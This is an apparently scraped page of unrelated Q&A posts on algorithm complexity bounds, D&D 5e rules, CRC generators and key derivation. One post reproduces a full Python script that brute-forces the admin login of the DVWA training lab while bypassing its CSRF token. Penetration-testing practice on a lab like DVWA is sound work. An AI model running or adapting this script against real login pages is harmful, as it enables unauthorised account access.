## Can an algorithm complexity be lower than its tight low bound / higher than its tight high bound?

The worst case time complexity of a given algorithm is $$\theta(n^3logn)$$.
Is it possible that the worst time complexity is $$\Omega(n^2)$$?
Is it possible that the worst time complexity is $$O(n^4)$$?
The average time complexity is $$O(n^4)$$?

IMO it is possible as long as you control the constant $$c$$, but then what’s the point of mentioning any other bound than the tight bounds?

## How high can the static bonus to an attack roll get?

I was considering this Q&A: What is the highest possible AC?

I was curious about whether any attack roll could ever get high enough to hit such an AC (short of scoring a critical hit, which ignores AC), and that got me thinking: How high can the static bonus to an attack roll get?

I’m not interested in the amount of damage done, just the static bonus, hence I’m also not interested in the actual number rolled on the die, but if it matters, assume it’s not a critical hit. The bonus can be temporary or situational, hence buff spells are allowed.

Any magic items, help from friends, feats, official races or classes or subclasses are allowed, but UA is not allowed, and nor is anything involving any kind of polymorph/wild shape. Also assume that the maximum ability score range is 20, with the exception of Barbarians going up to 24 in STR and CON at level 20 (in other words, no Manuals/Tomes to get to 30, and no other magic items that increase your maximum, but class features that do the same are OK). We can also assume rolling ability scores with lucky rolls so we can have almost any ability score at 20.

The best I can think of off the top of my head is a level 20 Ranger (so proficiency bonus of +6) with 20 DEX, the Archery Fighting Style (+2), and is shooting their +3 Longbow at one of their favoured enemies, thus adding their WIS (also 20) to the attack roll, so that’s 6 + 5 + 5 + 3 + 2 = +21 bonus. (There are also probably some buffs that can be added to this, but I can’t recall any at the moment, but I’m sure something exists…)

Can we do better than that within the restrictions I’ve specified above?

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## How high can my monk jump?

My monk has a movement of 50ft and a +4 strength bonus (18 STR). My computation for my maximum jump is start of 10 ft.

I arrive at a high jump of 14 ft + remaining movement which is rounded down of 25 ft + extra movement of dash (step of the wind)=+50ft Max jump = 89 ft?

## Why high and lower bit of generator must be 1?

Here is an excerpt from Andrew S. Tanenbaum, Computer Networks, 5th edition, Chapter 3 (The data link layer), Page 213:

[Both the high and low order bit of the generator must be 1.]

My question is how do you determine high order bit? And why high order bit and lower order bit, both must be one? From my understanding, it is used to detect burst error but is my understanding true?

## Brute Force HIGH DVWA with Python Script

I’m new using python and I’m trying to BruteForce DVWA in High Level, I found this script from https://medium.com/@dannybeton/dvwa-brute-force-tutorial-high-security-456e6ed3ae39 . But this error always pop up when I execute it. Any help is welcome,Thank U.

Error:

File “brute_force.py”, line 32, in csrf_token = soup.findAll(attrs={“name”: “user_token”})[0].get(‘value’) IndexError: list index out of range.

Whole Script:

from sys import argv import requests from BeautifulSoup import BeautifulSoup as Soup # give our arguments more semantic friendly names script, filename, success_message = argv txt = open(filename) # set up our target, cookie and session url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/index.php' cookie = {'security': 'high', 'PHPSESSID':'b8dgqhbue8vdinrd87leug1no1'} s = requests.Session() target_page = s.get(url, cookies=cookie) '''  checkSuccess @param: html (String) Searches the response HTML for our specified success message ''' def checkSuccess(html):  # get our soup ready for searching  soup = Soup(html)  # check for our success message in the soup  search = soup.findAll(text=success_message)   if not search:   success = False  else:   success = True # return the brute force result  return success # Get the intial CSRF token from the target site page_source = target_page.text soup = Soup(page_source); csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value') # Loop through our provided password file with open(filename) as f:  print 'Running brute force attack...'  for password in f:   # setup the payload   payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token}   r = s.get(url, cookies=cookie, params=payload)   success = checkSuccess(r.text)   if not success:    # if it failed the CSRF token will be changed. Get the new one    soup = Soup(r.text)    csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')   else:    # Success! Show the result    print 'Password is: ' + password    break # We failed, bummer.   if not success:   print 'Brute force failed. No matches found.' 

## Theoretical question with regard to weak password based KDF & high entropy input

I know this question is theoretical however I would like some thoughts from a security perceptive.

Take this thought:

1) I generate a high entropy, cryptographically secure string of bits (256-bits of entropy) 2) I use this entropy as a password fed into a weak PBKFD, like PBKDF1 3) I use the output as a key, should I expect this key provides 256-bit entropy?

Extra question, should I instead use a strong KDF, like PBKDF2, would I then be able to expect no drop in entropy?

PBKDF2 by definition should stretch entropy right? not decrease it.

Thanks

## In what ways are high level martial characters better than a high level spellcaster with True Polymorph?

I am a DM running a high-level campaign. My group has recently leveled up to 17, and one of the casters has taken True Polymorph. They have stated their intent to turn into the most powerful kind of dragon allowed by the spell, and use it in combat.

I am worried that the martial classes (Paladin & Rogue) in the party will feel overshadowed by this – after all, with a prep time of 1 action, this caster can turn into an Adult Gold Dragon that almost certainly possesses better mobility, greater or equal damage output, and a health pool twice or more the size of theirs. When that health pool is depleted, they return to “only” a 17th level caster down their 9th level spell slot.

So, I am asking this question to identify the ways in which high level martial characters can excel in their niches in ways that this caster cannot just by turning into a dragon/other high CR creature.

My intent with the answers I get is to implement them: i.e. structure the game such that it is one that supplies a set of challenges that make the martial characters feel useful and powerful, rather than a set that make them feel outclassed by the shapeshifted caster, regret their class choices, and feel like “transitional characters” whose only purpose was to get the casters to level 17.

## Does a monk’s Step of the Wind affect High Jump or just Long Jump?

At 2nd level, monks can spend a ki point to use Step of the Wind:

Step of the Wind

You can spend 1 ki point to take the Disengage or Dash action as a bonus action on your turn, and your jump distance is doubled for the turn.

What is meant by “jump distance”, exactly?

The rules on Jumping state:

Long Jump. When you make a long jump, you cover a number of feet up to your Strength score if you move at least 10 feet on foot immediately before the jump. When you make a standing long jump, you can leap only half that distance. Either way, each foot you clear on the jump costs a foot of movement. […]

High Jump. When you make a high jump, you leap into the air a number of feet equal to 3 + your Strength modifier (minimum of 0 feet) if you move at least 10 feet on foot immediately before the jump. When you make a standing high jump, you can jump only half that distance. Either way, each foot you clear on the jump costs a foot of movement. […]

You can extend your arms half your height above yourself during the jump. Thus, you can reach above you a distance equal to the height of the jump plus 1 1/2 times your height.

Both Long Jump and High Jump mention distance, so does that mean a monk who uses Step of the Wind can jump twice as high? I ask because my DM and other players in the group who spoke up are under the impression it only affects the Long Jump, and that a High Jump is unaffected by Step of the Wind…